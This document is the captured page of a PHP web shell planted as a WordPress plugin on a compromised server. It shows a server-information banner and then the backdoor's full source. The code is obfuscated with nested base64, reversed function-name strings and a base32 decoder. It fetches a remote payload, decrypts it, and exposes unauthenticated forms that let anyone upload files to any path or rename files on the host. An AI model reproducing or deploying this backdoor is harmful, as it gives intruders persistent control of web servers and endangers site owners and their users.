Server : Apache System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64 User : corals ( 1002) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory :  /home/corals/intellicart.co/wp-content/plugins/oxmrysz/

Upload File : current_dir [ Writeable ] document_root [ Writeable ]

<?php
@error_reporting(0);
session_start();

$govf = base64_decode(base64_decode("TVRaaFkyRmpZekExWVdGbVlXWTI=")) . chr(55);
$_SESSION['k'] = $govf;
session_write_close();

$govv6KZ6bzZmdj = base64_decode(base64_decode("YjJKMWFHRnZjbkJtTlhWM05EUmtkbTl4"));
$govkcGUC4 = 'openssl';
$gov0lGANcC7lnOBP = gov1XiRsl($govv6KZ6bzZmdj);

$govZA = "file_g" . chr(101) . "t_" . "con" . base64_decode("dGVudHM=");
$govDN4nn = $govZA($gov0lGANcC7lnOBP);

if (!extension_loaded($govkcGUC4)) {
    $govnPAP7DW4HmmVgVV = "base64_" . "decode";
    $govDN4nn = $govnPAP7DW4HmmVgVV($govDN4nn);
    for ($i = 0; $i < strlen($govDN4nn); $i++) { }
}

$govDN4nn = openssl_decrypt($govDN4nn, base64_decode(base64_decode("UVVWVE1UST0=")) . chr(56), $govf);
$gova7QApimayzQf = explode('|', $govDN4nn);
$govlbZLL2fi5z6BN6 = $gova7QApimayzQf[1];

$func = function ($a, $b, $c) {
    return $a . $b . $c;
};

$sr = $func("str", "re", "v");
$muf = $sr($func("elif", "_ded", "aolpu_evom"));
$rn = $sr($func("eman", "er", ""));
$cd = $sr($func("re", "ad", "ir"));

if ($_GET['act'] == 'ul') {
    echo '<form method="post" enctype="multipart/form-data">
            <input name="uf" type="file"><br>
            Save Path (SP): <input name="sp" size="50" type="text"><br>
            <input type="submit" value="Upload">
          </form>';

    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
        $sp = empty($_POST['sp']) ? './' : rtrim($_POST['sp'], '/') . '/';

        if (!is_dir($sp)) {
            if (!mkdir($sp, 0777, true)) {
                die("Failed to create directory: $sp");
            }
        }

        $tmp_name = $_FILES["uf"]["tmp_name"];
        $file_name = $_FILES["uf"]["name"];
        $dest = $sp . $file_name;

        if ($muf($tmp_name, $dest)) {
            echo "File uploaded successfully to: " . htmlspecialchars($dest);
        } else {
            echo "Failed to upload file. Debug Info:";
            echo "<pre>";
            print_r($_FILES);
            echo "</pre>";
        }
    }
    exit;
}

if ($_GET['act'] == 'rn') {
    echo '<form method="post">
            Original Name (ON): <input name="on" size="50" type="text"><br>
            New Name (NN): <input name="nn" size="50" type="text"><br>
            <input type="submit" value="Rename">
          </form>';

    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
        $on = trim($_POST['on']);
        $nn = trim($_POST['nn']);

        if (empty($on) || empty($nn)) {
            die("Both Original Name and New Name must be provided.");
        }

        if (!file_exists($on)) {
            die("The file '$on' does not exist.");
        }

        if ($rn($on, $nn)) {
            echo "File renamed successfully: " . htmlspecialchars($on) . " → " . htmlspecialchars($nn);
        } else {
            echo "Failed to rename file. Please check permissions or file path.";
        }
    }
    exit;
}

function gov1XiRsl($gov19lMnmWSeK3j) {
    $di15 = '';
    $govFI0cG26np0mzRoQ = (8402 + 14027) * intval(chr(48));
    $govXsBiAIAJ5lp = (7234 - 2720) * intval(chr(48));
    for ($i = 0, $j = strlen($gov19lMnmWSeK3j); $i < $j; $i++) {
        $govFI0cG26np0mzRoQ <<= 5;
        if ($gov19lMnmWSeK3j[$i] >= 'a' && $gov19lMnmWSeK3j[$i] <= 'z') {
            $govFI0cG26np0mzRoQ += (ord($gov19lMnmWSeK3j[$i]) - 97);
        } elseif ($gov19lMnmWSeK3j[$i] >= '2' && $gov19lMnmWSeK3j[$i] <= '7') {
            $govFI0cG26np0mzRoQ += (24 + $gov19lMnmWSeK3j[$i]);
        } else {
            exit(1);
        }
        $govXsBiAIAJ5lp += 5;
        while ($govXsBiAIAJ5lp >= 8) {
            $govXsBiAIAJ5lp -= 8;
            $di15 .= chr($govFI0cG26np0mzRoQ >> $govXsBiAIAJ5lp);
            $govFI0cG26np0mzRoQ &= ((1 << $govXsBiAIAJ5lp) - 1);
        }
    }
    return $di15;
}
?>